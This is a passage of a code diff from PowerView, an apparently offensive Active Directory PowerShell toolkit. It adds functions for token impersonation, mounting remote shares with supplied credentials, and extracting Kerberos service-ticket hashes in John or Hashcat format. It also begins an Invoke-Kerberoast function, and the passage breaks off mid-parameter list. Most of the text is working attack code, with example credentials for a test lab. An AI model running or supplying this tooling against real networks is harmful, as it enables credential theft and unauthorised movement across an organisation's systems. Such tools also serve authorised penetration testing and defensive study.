+License: BSD 3-Clause
+Required Dependencies: None
+
+.DESCRIPTION
+
+This function will take an integer that represents a User Account
+Control (UAC) binary blob and will covert it to an ordered
+dictionary with each bitwise value broken out. By default only values
+set are displayed- the -ShowAll switch will display all values with
+a + next to the ones set.
+
+.PARAMETER Value
- Converts a UAC int value to human readable form.
+Specifies the integer UAC value to convert.
- .PARAMETER Value
+.PARAMETER ShowAll
- The int UAC value to convert.
+Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
- .PARAMETER ShowAll
+.EXAMPLE
- Show all UAC values, with a + indicating the value is currently set.
+ConvertFrom-UACValue -Value 66176
- .EXAMPLE
+Name Value
+---- -----
+ENCRYPTED_TEXT_PWD_ALLOWED 128
+NORMAL_ACCOUNT 512
+DONT_EXPIRE_PASSWORD 65536
- PS C:\> ConvertFrom-UACValue -Value 66176
+.EXAMPLE
- Convert the UAC value 66176 to human readable format.
+Get-DomainUser harmj0y | ConvertFrom-UACValue
- .EXAMPLE
+Name Value
+---- -----
+NORMAL_ACCOUNT 512
+DONT_EXPIRE_PASSWORD 65536
- PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue
+.EXAMPLE
- Convert the UAC value for 'jason' to human readable format.
+Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
- .EXAMPLE
+Name Value
+---- -----
+SCRIPT 1
+ACCOUNTDISABLE 2
+HOMEDIR_REQUIRED 8
+LOCKOUT 16
+PASSWD_NOTREQD 32
+PASSWD_CANT_CHANGE 64
+ENCRYPTED_TEXT_PWD_ALLOWED 128
+TEMP_DUPLICATE_ACCOUNT 256
+NORMAL_ACCOUNT 512+
+INTERDOMAIN_TRUST_ACCOUNT 2048
+WORKSTATION_TRUST_ACCOUNT 4096
+SERVER_TRUST_ACCOUNT 8192
+DONT_EXPIRE_PASSWORD 65536+
+MNS_LOGON_ACCOUNT 131072
+SMARTCARD_REQUIRED 262144
+TRUSTED_FOR_DELEGATION 524288
+NOT_DELEGATED 1048576
+USE_DES_KEY_ONLY 2097152
+DONT_REQ_PREAUTH 4194304
+PASSWORD_EXPIRED 8388608
+TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
+PARTIAL_SECRETS_ACCOUNT 67108864
- PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll
+.INPUTS
- Convert the UAC value for 'jason' to human readable format, showing all
- possible UAC values.
+Int
+
+Accepts an integer representing a UAC binary blob.
+
+.OUTPUTS
+
+System.Collections.Specialized.OrderedDictionary
+
+An ordered dictionary with the converted UAC fields.
+
+.LINK
+
+https://support.microsoft.com/en-us/kb/305144
#>
-
+
+ [OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
- param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('UAC', 'useraccountcontrol')]
+ [Int]
$Value,
[Switch]
$ShowAll
)
- begin {
+ BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
@@ -1214,26 +1724,12 @@ function ConvertFrom-UACValue {
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
- process {
-
+ PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
- if($Value -is [Int]) {
- $IntValue = $Value
- }
- elseif ($Value -is [PSCustomObject]) {
- if($Value.useraccountcontrol) {
- $IntValue = $Value.useraccountcontrol
- }
- }
- else {
- Write-Warning "Invalid object input for -Value : $Value"
- return $Null
- }
-
- if($ShowAll) {
- foreach ($UACValue in $UACValues.GetEnumerator()) {
- if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
+ if ($ShowAll) {
+ ForEach ($UACValue in $UACValues.GetEnumerator()) {
+ if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
@@ -1242,8 +1738,8 @@ function ConvertFrom-UACValue {
}
}
else {
- foreach ($UACValue in $UACValues.GetEnumerator()) {
- if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
+ ForEach ($UACValue in $UACValues.GetEnumerator()) {
+ if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
@@ -1253,221 +1749,909 @@ function ConvertFrom-UACValue {
}
-filter Get-Proxy {
+function Get-PrincipalContext {
<#
- .SYNOPSIS
-
- Enumerates the proxy server and WPAD conents for the current user.
+.SYNOPSIS
- .PARAMETER ComputerName
+Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
+and simplified identity.
- The computername to enumerate proxy settings on, defaults to local host.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
- .EXAMPLE
+.PARAMETER Identity
- PS C:\> Get-Proxy
-
- Returns the current proxy settings.
+A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
+or a DOMAIN\username identity.
+
+.PARAMETER Domain
+
+Specifies the domain to use to search for user/group principals, defaults to the current domain.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
#>
- param(
- [Parameter(ValueFromPipeline=$True)]
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True)]
+ [Alias('GroupName', 'GroupIdentity')]
+ [String]
+ $Identity,
+
[ValidateNotNullOrEmpty()]
[String]
- $ComputerName = $ENV:COMPUTERNAME
+ $Domain,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
+ Add-Type -AssemblyName System.DirectoryServices.AccountManagement
+
try {
- $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
- $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
- $ProxyServer = $RegKey.GetValue('ProxyServer')
- $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
+ if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
+ if ($Identity -match '.+\\.+') {
+ # DOMAIN\groupname
+ $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
+ if ($ConvertedIdentity) {
+ $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
+ $ObjectIdentity = $Identity.Split('\')[1]
+ Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
+ }
+ }
+ else {
+ $ObjectIdentity = $Identity
+ Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
+ $ConnectTarget = $Domain
+ }
- $Wpad = ""
- if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
- try {
- $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
+ if ($PSBoundParameters['Credential']) {
+ Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
+ $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
- catch {
- Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
+ else {
+ $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
-
- if($ProxyServer -or $AutoConfigUrl) {
+ else {
+ if ($PSBoundParameters['Credential']) {
+ Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
+ $DomainName = Get-Domain | Select-Object -ExpandProperty Name
+ $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+ }
+ else {
+ $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
+ }
+ $ObjectIdentity = $Identity
+ }
+
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'Context' $Context
+ $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
+ $Out
+ }
+ catch {
+ Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
+ }
+}
+
+
+function Add-RemoteConnection {
+<#
+.SYNOPSIS
+
+Pseudo "mounts" a connection to a remote path using the specified
+credential object, allowing for access of remote resources. If a -Path isn't
+specified, a -ComputerName is required to pseudo-mount IPC$.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect
+
+.DESCRIPTION
+
+This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
+to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
+-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
+
+To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
+or -ComputerName.
+
+.PARAMETER ComputerName
+
+Specifies the system to add a \\ComputerName\IPC$ connection for.
+
+.PARAMETER Path
+
+Specifies the remote \\UNC\path to add the connection for.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system.
+
+.EXAMPLE
+
+$Cred = Get-Credential
+Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
+
+.EXAMPLE
+
+$Cred = Get-Credential
+@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
+#>
+
+ [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName,
+
+ [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
+ [ValidatePattern('\\\\.*\\.*')]
+ [String[]]
+ $Path,
+
+ [Parameter(Mandatory = $True)]
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential
+ )
- $Properties = @{
- 'ProxyServer' = $ProxyServer
- 'AutoConfigURL' = $AutoConfigURL
- 'Wpad' = $Wpad
+ BEGIN {
+ $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
+ $NetResourceInstance.dwType = 1
+ }
+
+ PROCESS {
+ $Paths = @()
+ if ($PSBoundParameters['ComputerName']) {
+ ForEach ($TargetComputerName in $ComputerName) {
+ $TargetComputerName = $TargetComputerName.Trim('\')
+ $Paths += ,"\\$TargetComputerName\IPC$"
}
-
- New-Object -TypeName PSObject -Property $Properties
}
else {
- Write-Warning "No proxy settings found for $ComputerName"
+ $Paths += ,$Path
+ }
+
+ ForEach ($TargetPath in $Paths) {
+ $NetResourceInstance.lpRemoteName = $TargetPath
+ Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
+
+ # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
+ # CONNECT_TEMPORARY = 4
+ $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
+
+ if ($Result -eq 0) {
+ Write-Verbose "$TargetPath successfully mounted"
+ }
+ else {
+ Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
+ }
}
}
- catch {
- Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
+}
+
+
+function Remove-RemoteConnection {
+<#
+.SYNOPSIS
+
+Destroys a connection created by New-RemoteConnection.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect
+
+.DESCRIPTION
+
+This function uses WNetCancelConnection2 to destroy a connection created by
+New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
+'unmount' \\$ComputerName\IPC$.
+
+.PARAMETER ComputerName
+
+Specifies the system to remove a \\ComputerName\IPC$ connection for.
+
+.PARAMETER Path
+
+Specifies the remote \\UNC\path to remove the connection for.
+
+.EXAMPLE
+
+Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
+
+.EXAMPLE
+
+Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
+
+.EXAMPLE
+
+@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName,
+
+ [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
+ [ValidatePattern('\\\\.*\\.*')]
+ [String[]]
+ $Path
+ )
+
+ PROCESS {
+ $Paths = @()
+ if ($PSBoundParameters['ComputerName']) {
+ ForEach ($TargetComputerName in $ComputerName) {
+ $TargetComputerName = $TargetComputerName.Trim('\')
+ $Paths += ,"\\$TargetComputerName\IPC$"
+ }
+ }
+ else {
+ $Paths += ,$Path
+ }
+
+ ForEach ($TargetPath in $Paths) {
+ Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
+ $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
+
+ if ($Result -eq 0) {
+ Write-Verbose "$TargetPath successfully ummounted"
+ }
+ else {
+ Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
+ }
+ }
}
}
-function Request-SPNTicket {
+function Invoke-UserImpersonation {
<#
- .SYNOPSIS
-
- Request the kerberos ticket for a specified service principal name (SPN).
-
- .PARAMETER SPN
+.SYNOPSIS
+
+Creates a new "runas /netonly" type logon and impersonates the token.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect
+
+.DESCRIPTION
- The service principal name to request the ticket for. Required.
-
- .PARAMETER EncPart
-
- Switch. Return the encrypted portion of the ticket (cipher).
+This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
+to simulate "runas /netonly". The resulting token is then impersonated with
+ImpersonateLoggedOnUser() and the token handle is returned for later usage
+with Invoke-RevertToSelf.
- .EXAMPLE
+.PARAMETER Credential
- PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local"
-
- Request a kerberos service ticket for the specified SPN.
-
- .EXAMPLE
+A [Management.Automation.PSCredential] object with alternate credentials
+to impersonate in the current thread space.
- PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart
-
- Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket.
+.PARAMETER TokenHandle
- .EXAMPLE
+An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
+If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
+is executed.
- PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket
+.PARAMETER Quiet
- Request kerberos service tickets for all SPNs passed on the pipeline.
+Suppress any warnings about STA vs MTA.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetUser -SPN | Request-SPNTicket
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Invoke-UserImpersonation -Credential $Cred
- Request kerberos service tickets for all users with non-null SPNs.
+.OUTPUTS
+
+IntPtr
+
+The TokenHandle result from LogonUser.
+#>
+
+ [OutputType([IntPtr])]
+ [CmdletBinding(DefaultParameterSetName = 'Credential')]
+ Param(
+ [Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential,
+
+ [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
+ [ValidateNotNull()]
+ [IntPtr]
+ $TokenHandle,
+
+ [Switch]
+ $Quiet
+ )
+
+ if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
+ Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
+ }
+
+ if ($PSBoundParameters['TokenHandle']) {
+ $LogonTokenHandle = $TokenHandle
+ }
+ else {
+ $LogonTokenHandle = [IntPtr]::Zero
+ $NetworkCredential = $Credential.GetNetworkCredential()
+ $UserDomain = $NetworkCredential.Domain
+ $UserName = $NetworkCredential.UserName
+ Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
+
+ # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
+ # this is to simulate "runas.exe /netonly" functionality
+ $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
+
+ if (-not $Result) {
+ throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+ }
+
+ # actually impersonate the token from LogonUser()
+ $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
+
+ if (-not $Result) {
+ throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+
+ Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
+ $LogonTokenHandle
+}
+
+
+function Invoke-RevertToSelf {
+<#
+.SYNOPSIS
+
+Reverts any token impersonation.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect
+
+.DESCRIPTION
+
+This function uses RevertToSelf() to revert any impersonated tokens.
+If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
+CloseHandle() is used to close the opened handle.
+
+.PARAMETER TokenHandle
+
+An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+$Token = Invoke-UserImpersonation -Credential $Cred
+Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
+ Param(
+ [ValidateNotNull()]
+ [IntPtr]
+ $TokenHandle
+ )
+
+ if ($PSBoundParameters['TokenHandle']) {
+ Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
+ $Result = $Kernel32::CloseHandle($TokenHandle)
+ }
+
+ $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
+
+ if (-not $Result) {
+ throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+
+ Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
+}
+
+
+function Get-DomainSPNTicket {
+<#
+.SYNOPSIS
+
+Request the kerberos ticket for a specified service principal name (SPN).
+
+Author: machosec, Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
+
+.DESCRIPTION
+
+This function will either take one/more SPN strings, or one/more PowerView.User objects
+(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
+using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
+portion of the ticket is then extracted and output in either crackable John or Hashcat
+format (deafult of John).
+
+.PARAMETER SPN
+
+Specifies the service principal name to request the ticket for.
+
+.PARAMETER User
+
+Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
+
+.PARAMETER OutputFormat
+
+Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
+Defaults to 'John'.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote domain using Invoke-UserImpersonation.
+
+.EXAMPLE
+
+Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
+
+Request a kerberos service ticket for the specified SPN.
+
+.EXAMPLE
+
+"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
+
+Request kerberos service tickets for all SPNs passed on the pipeline.
+
+.EXAMPLE
+
+Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
+
+Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
+
+.INPUTS
+
+String
+
+Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
+
+.INPUTS
+
+PowerView.User
+
+Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
+
+.OUTPUTS
+
+PowerView.SPNTicket
+
+Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
+#>
+
+ [OutputType('PowerView.SPNTicket')]
+ [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
- [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]
+ [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
+ [ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
-
- [Alias('EncryptedPart')]
- [Switch]
- $EncPart
+
+ [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
+ [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
+ [Object[]]
+ $User,
+
+ [ValidateSet('John', 'Hashcat')]
+ [Alias('Format')]
+ [String]
+ $OutputFormat = 'John',
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- begin {
- Add-Type -AssemblyName System.IdentityModel
+ BEGIN {
+ $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
+
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
}
- process {
- ForEach($UserSPN in $SPN) {
- Write-Verbose "Requesting ticket for: $UserSPN"
- if (!$EncPart) {
- New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
+ PROCESS {
+ if ($PSBoundParameters['User']) {
+ $TargetObject = $User
+ }
+ else {
+ $TargetObject = $SPN
+ }
+
+ ForEach ($Object in $TargetObject) {
+ if ($PSBoundParameters['User']) {
+ $UserSPN = $Object.ServicePrincipalName
+ $SamAccountName = $Object.SamAccountName
+ $DistinguishedName = $Object.DistinguishedName
}
else {
+ $UserSPN = $Object
+ $SamAccountName = 'UNKNOWN'
+ $DistinguishedName = 'UNKNOWN'
+ }
+
+ # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
+ if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
+ $UserSPN = $UserSPN[0]
+ }
+
+ try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
+ }
+ catch {
+ Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
+ }
+ if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
- if ($TicketByteStream)
- {
- $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-"
- [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201"
- $Parts.RemoveAt($Parts.Count - 1)
- $Parts -join "A48201"
- break
+ }
+ if ($TicketByteStream) {
+ $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
+ [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
+ $Parts.RemoveAt($Parts.Count - 1)
+ $Hash = $Parts -join 'A48201'
+ $Hash = $Hash.Insert(32, '$')
+
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
+ $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
+ $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
+
+ if ($OutputFormat -match 'John') {
+ $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
+ else {
+ if ($DistinguishedName -ne 'UNKNOWN') {
+ $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ }
+ else {
+ $UserDomain = 'UNKNOWN'
+ }
+
+ # hashcat output format
+ $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
+ }
+ $Out | Add-Member Noteproperty 'Hash' $HashFormat
+ $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
+ Write-Output $Out
}
}
}
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
+ }
}
-function Get-PathAcl {
+function Invoke-Kerberoast {
<#
- .SYNOPSIS
-
- Enumerates the ACL for a given file path.
+.SYNOPSIS
+
+Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
+
+Author: Will Schroeder (@harmj0y), @machosec
+License: BSD 3-Clause
+Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
+
+.DESCRIPTION
+
+Uses Get-DomainUser to query for user accounts with non-null service principle
+names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
+The ticket format can be specified with -OutputFormat <John/Hashcat>.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
- .PARAMETER Path
+.PARAMETER LDAPFilter
- The local/remote path to enumerate the ACLs for.
+Specifies an LDAP query string that is used to filter Active Directory objects.
- .PARAMETER Recurse
-
- If any ACL results are groups, recurse and retrieve user membership.
+.PARAMETER SearchBase
- .EXAMPLE
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- PS C:\> Get-PathAcl "\\SERVER\Share\"
-
- Returns ACLs for the given UNC share.
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER OutputFormat
+
+Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
+Defaults to 'John'.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Invoke-Kerberoast | fl
+
+Kerberoasts all found SPNs for the current domain.
+
+.EXAMPLE
+
+Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
+
+Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
+format instead of John (the default).
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
+Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
+
+Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
+
+.OUTPUTS
+
+PowerView.SPNTicket
+
+Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
- param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $Path,
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
